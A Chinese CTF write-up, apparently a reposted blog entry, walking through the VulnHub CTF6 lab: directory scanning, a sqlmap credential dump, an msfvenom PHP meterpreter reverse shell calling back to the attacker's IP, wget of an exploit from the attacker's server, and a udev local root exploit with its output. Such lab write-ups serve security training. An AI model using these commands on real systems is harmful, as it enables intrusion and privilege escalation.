【精选】vulnhub CTF6 linux udev提权 (青铜门笔记)

一、信息收集

1.主机探测

发现靶机的IP地址是:192.168.103.130

┌──(root💀kali)-[~]
└─# arp-scan -l

2.访问web页面

发现有个登录的页面,尝试了弱口令,但是发现没有成功;

所以,我们需要在后面的信息收集去挖掘作者留下的信息,这里是个网站,所以运气好的话,目录扫描可以找到有关网站源码的目录文件。

3.目录扫描

扫描到了很多目录,可以都去尝试下

┌──(root??kali)-[~]
└─# dirsearch -u http://192.168.103.130

/phpmyadmin/

尝试弱口令,并没有成功

/docs目录
http://192.168.103.130/docs/

有一个.tgz的压缩包和一个phpinfo.php

网站的根目录也可以找到

压缩包里面,有很多的文件:

发现一个网站的配置文件:config.ini 发现了cms数据库的账号密码

database_pass  =  45kkald?8laLKD
database_user  =  cms_user
database_db  =  cms

发现一个db.sql的文件,里面发现了网站的页面登录的账号密码,看这里面的html内容

很像我开始想尝试弱口令破解的那个登录页面

发现登录成功了(如果你使用的是火狐浏览器,那么这里登录成功后,不会显示别的多余的功能,建议使用Google浏览器)

4.sql注入漏洞

其实这里面还有sql注入的漏洞

点击 read more 按键

这里有参数,猜测是存在sql注入

加上 ' ,发现报错了,说明存在sql注入漏洞

sqlmap一把梭
┌──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.103.130/index.php?id=4" -D cms -T user -C "user_password,user_username" --dump --batch

其实这里,我们可以发现,这里就是我们开始目录扫描发现的网站重点一些配置信息中的db.sql文件里面内容中的账号密码

二、漏洞利用

1.反弹shell

这里,我们先用msfvenom生成一个监听的木马文件,然后把这个木马文件上传

┌──(root💀kali)-[~]
└─# msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.103.129 LPORT=4444 -o shell.php 

##LHOST=192.168.103.129是kali的IP地址

上传木马文件

msf开启监听

use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.103.129

打开上传的木马图片,发现监听成功

2.信息收集

如果shell不成功,可以按Ctrl + x 退出,然后再重新进入shell

发现是普通权限

python -c 'import pty; pty.spawn ("/bin/bash")'  ##交互式shell


发现无法查看/etc/shadow文件,说明这个用户的权限确实低,所以需要进行提权

查看内核版本信息

linux 2.6.18 低版本的,我这里开始看到是linux低版本的,想利用脏牛提权,发现不符合

大家可以上网搜索下,这个内核版本的有哪些漏洞可以用来提权,然后发现linux udev提权方法

bash-3.2$ uname -an
uname -an
Linux localhost.localdomain 2.6.18-92.el5 #1 SMP Tue Jun 10 18:49:47 EDT 2008 i686 i686 i386 GNU/Linux

3.linux udev提权

searchsploit 检索udev漏洞的exp

┌──(root💀kali)-[~/red1]
└─# searchsploit udev 

像这种内核提权漏洞,还是蛮麻烦的,需要一个一个的去尝试

根据linux内核版本,我尝试了第一个和第二个,发现8572.c第二个提权失败

把8478.sh上传到靶机

bash-3.2$ cd /tmp
cd /tmp
bash-3.2$ ls
ls
bash-3.2$ wget http://192.168.103.129:88/8478.sh
wget http://192.168.103.129:88/8478.sh
--07:49:50--  http://192.168.103.129:88/8478.sh
Connecting to 192.168.103.129:88... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3498 (3.4K) [text/x-sh]
Saving to: `8478.sh'

100%[=======================================>] 3,498       --.-K/s   in 0s     

07:49:50 (350 MB/s) - `8478.sh' saved [3498/3498]

bash-3.2$ ls
ls
8478.sh
bash-3.2$ chmod -R 777 8478.sh
chmod -R 777 8478.sh

查看udev的进程号 569 -1 = 568

bash-3.2$ ps aux | grep udev
ps aux | grep udev
root       569  0.0  0.2   2248   680 ?        S<s  05:27   0:00 /sbin/udevd -d
apache    4482  0.0  0.1   1840   480 pts/0    R+   07:53   0:00 grep udev

或者用查看进程:cat /proc/net/netlink 568

bash-3.2$ cat /proc/net/netlink
cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
cf873400 0   3125   00000111 0        0        00000000 2
cfebce00 0   0      00000000 0        0        00000000 2
cfc4ca00 6   0      00000000 0        0        00000000 2
cfe78600 7   0      00000000 0        0        00000000 2
cf878600 9   2449   00000000 0        0        00000000 2
cfe66e00 9   0      00000000 0        0        00000000 2
cf557c00 10  0      00000000 0        0        00000000 2
cf514c00 11  0      00000000 0        0        00000000 2
cfebcc00 15  0      00000000 0        0        00000000 2
cfc4c400 15  568    ffffffff 0        0        00000000 2
cf514a00 16  0      00000000 0        0        00000000 2
cf6a9c00 18  0      00000000 0        0        00000000 2

提权,如果这个命令执行失败,可以多执行几次就可以成功了

当$变成#,说明提权成功了

sh-3.2$ ./8478.sh 568
./8478.sh 568
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
/usr/bin/ld: cannot open output file /tmp/suid: Permission denied
collect2: ld returned 1 exit status
cp: `libno_ex.so.1.0' and `/tmp/libno_ex.so.1.0' are the same file
sh-3.2# id
id
uid=0(root) gid=0(root) groups=48(apache)
sh-3.2# 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/265258.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Go 泛型发展史与基本介绍

Go 泛型发展史与基本介绍 Go 1.18版本增加了对泛型的支持&#xff0c;泛型也是自 Go 语言开源以来所做的最大改变。 文章目录 Go 泛型发展史与基本介绍一、为什么要加入泛型&#xff1f;二、什么是泛型三、泛型的来源四、为什么需要泛型五、Go 泛型设计的简史六、泛型语法6.1 …

Netty RPC 实现(二)

Netty RPC 实现 概念 RPC&#xff0c;即 Remote Procedure Call&#xff08;远程过程调用&#xff09;&#xff0c;调用远程计算机上的服务&#xff0c;就像调用本地服务一样。RPC 可以很好的解耦系统&#xff0c;如 WebService 就是一种基于 Http 协议的 RPC。这个 RPC 整体…

机器视觉兄弟们,出身寒微,不是耻辱,能屈能伸,方为丈夫

人生过往&#xff0c;当时只道是寻常。 可以说&#xff0c;“社会边角料”这个词&#xff0c;即刺耳&#xff0c;又是那么难听。只是&#xff0c;无数的年轻人和中年人&#xff0c;都喜欢用这个词来自嘲。 特别是出身寒微&#xff0c;没啥资源的80后和90后&#xff0c;他们总是…

C语言的分支和循环语句

各位少年&#xff0c;今天和大家分享的是分支语句循环体语句&#xff0c;C语言是结构体的程序设计语言&#xff0c;这里的结构指的是&#xff08;顺序结构&#xff09;&#xff08;选择结构&#xff09;&#xff08;循环结构&#xff09;C语言是能够实现这三种结构的&#xff0…

docker容器内 获取宿主机ip

可以使用命令 --add-host jargatewayip:192.168.0.47 \ 需要注意,这里不能是 127.0.0.1 ,所以要找到服务器局域网的ip 命令示例 docker run -it \-p 80:80 \-p 443:443 \--name nginx \--network app --hostname nginx \-e TZAsia/Shanghai \--add-host jargatewayip:192.16…

fabs函数与fmax函数

目录 fabs函数 fmax函数 fabs函数 包含头文件&#xff1a;<math.h> C90函数原型&#xff1a;double fabs (double x); C99函数原型&#xff1a; double fabs (double x); float fabsf (float x);long double fabsl (long double x); C98函数原型&#xff1a; doubl…

第11章 GUI Page421~422 步骤六 支持文字

运行效果&#xff1a; 关键代码&#xff1a; 新增头文件&#xff1a; //item_text.hpp #ifndef ITEM_TEXT_HPP_INCLUDED #define ITEM_TEXT_HPP_INCLUDED #include "item_i.hpp"class TextItem : public IItem { public:TextItem(): _startPosition(0, 0), _endPos…

ssm基于BS的库存管理软件设计与实现论文

目 录 目 录 I 摘 要 III ABSTRACT IV 1 绪论 1 1.1 课题背景 1 1.2 研究现状 1 1.3 研究内容 2 2 系统开发环境 3 2.1 vue技术 3 2.2 JAVA技术 3 2.3 MYSQL数据库 3 2.4 B/S结构 4 2.5 SSM框架技术 4 3 系统分析 5 3.1 可行性分析 5 3.1.1 技术可行性 5 3.1.2 操作可行性 5 3…

【操作系统】补充:你看到的所有地址都不是真的

补充&#xff1a;你看到的所有地址都不是真的 写过打印出指针的 C 程序吗&#xff1f;你看到的值&#xff08;一些大数字&#xff0c;通常以十六进制打印&#xff09;是虚拟地址&#xff08;virtual address&#xff09;。有没有想过你的程序代码在哪里找到&#xff1f;你也可以…

【华为鸿蒙系统学习】- 如何利用鸿蒙系统进行App项目开发|自学篇

&#x1f308;个人主页: Aileen_0v0 &#x1f525;热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法 &#x1f4ab;个人格言:"没有罗马,那就自己创造罗马~" 目录 创建鸿蒙第一个App项目 项目创建 工程目录区 预览区 运行Hello World 基本工程目录 ws:工程…

HarmonyOS 点击物理返回键再按一次退出系统(eTS)

&#xff08;1&#xff09;首先&#xff0c;定义一个变量&#xff0c;用于计算用户两次按下返回键的时间差&#xff1a; //todo 定义全局变量State exitTime: number 0;&#xff08;2&#xff09;然后就是一个捕捉用户按下返回键的事件&#xff1a; //todo 定义全局变量State …

计算球的体积 C语言xdoj89

题目描述&#xff1a;输入球的半径&#xff0c;计算并输出球的体积,假定pi3.14&#xff0c;结果保留两位小数。 输入格式&#xff1a;共一行&#xff0c;输入球体半径&#xff0c;两位小数。 输出格式&#xff1a;共一行&#xff0c;输出球体体积&#xff0c;结果保留两位小数。…

SecureCRT连接vmware虚拟机的centos系统配置

软件版本&#xff1a;VMware10.0.3&#xff0c;centos 7&#xff0c;securecrt 8.7.2 1&#xff0c;虚拟网络编辑器选择桥接模式&#xff0c; 2&#xff0c;如果不小心删除网络&#xff0c;centos关机状态下&#xff0c;选择恢复默认设置。 3&#xff0c;进入linux系统&#…

基于ssm重庆理工大学心理咨询管理子系统的分析与实现论文

摘 要 传统信息的管理大部分依赖于管理人员的手工登记与管理&#xff0c;然而&#xff0c;随着近些年信息技术的迅猛发展&#xff0c;让许多比较老套的信息管理模式进行了更新迭代&#xff0c;心理咨询预约信息因为其管理内容繁杂&#xff0c;管理数量繁多导致手工进行处理不能…

Arduino开发实例-APDS-9930环境光和趋近传感器驱动

APDS-9930环境光和趋近传感器驱动 文章目录 APDS-9930环境光和趋近传感器驱动1、APDS-9930介绍2、硬件准备及接线3、驱动实现1、APDS-9930介绍 APDS-9930模块由环境光、红外线和接近传感器组成。 检测距离可达 100 毫米。 APDS-9930 传感器测量环境光。 该传感器还可以在黑暗中…

深入理解qs库:简化你的工作流程

前言 在 vue 开发中&#xff0c;处理 url 查询字符串是一个常见的任务。qs 库是一个流行的工具&#xff0c;可以帮助我们轻松地处理 url 查询字符串的编码和解码。本文将介绍 qs 库的基本用法&#xff0c;并结合实例演示帮助你更好地理解和应用这个实用的工具。 一、qs 是什么&…

基于SSM的文化线上体验馆(有报告)。Javaee项目。ssm项目。

演示视频&#xff1a; 基于SSM的文化线上体验馆(有报告)。Javaee项目。ssm项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层体系结构&#xff0c;通过Spring SpringMvc MybatisVueLayu…

字符设备驱动开发-注册-设备文件创建

一、字符设备驱动 linux系统中一切皆文件 1、应用层&#xff1a; APP1 APP2 ... fd open("led驱动的文件"&#xff0c;O_RDWR); read(fd); write(); close(); 2、内核层&#xff1a; 对灯写一个驱动 led_driver.c driver_open(); driver_read(); driver_write(…

09、基于LunarLander登陆器的Dueling DQN强化学习(含PYTHON工程)

09、基于LunarLander登陆器的Dueling DQN强化学习&#xff08;含PYTHON工程&#xff09; 参考&#xff1a; 论文地址&#xff1a;https://proceedings.mlr.press/v48/wangf16.pdf LunarLander复现&#xff1a; 07、基于LunarLander登陆器的DQN强化学习案例&#xff08;含PYT…

Java之ArrayList源码解读

ArrayList源码解读 ArrayList ArrayList 的底层是数组队列&#xff0c;相当于动态数组。与 Java 中的数组相比&#xff0c;它的容量能动态增长。在添加大量元素前&#xff0c;应用程序可以使用ensureCapacity操作来增加 ArrayList 实例的容量。这可以减少递增式再分配的数量。…
最新文章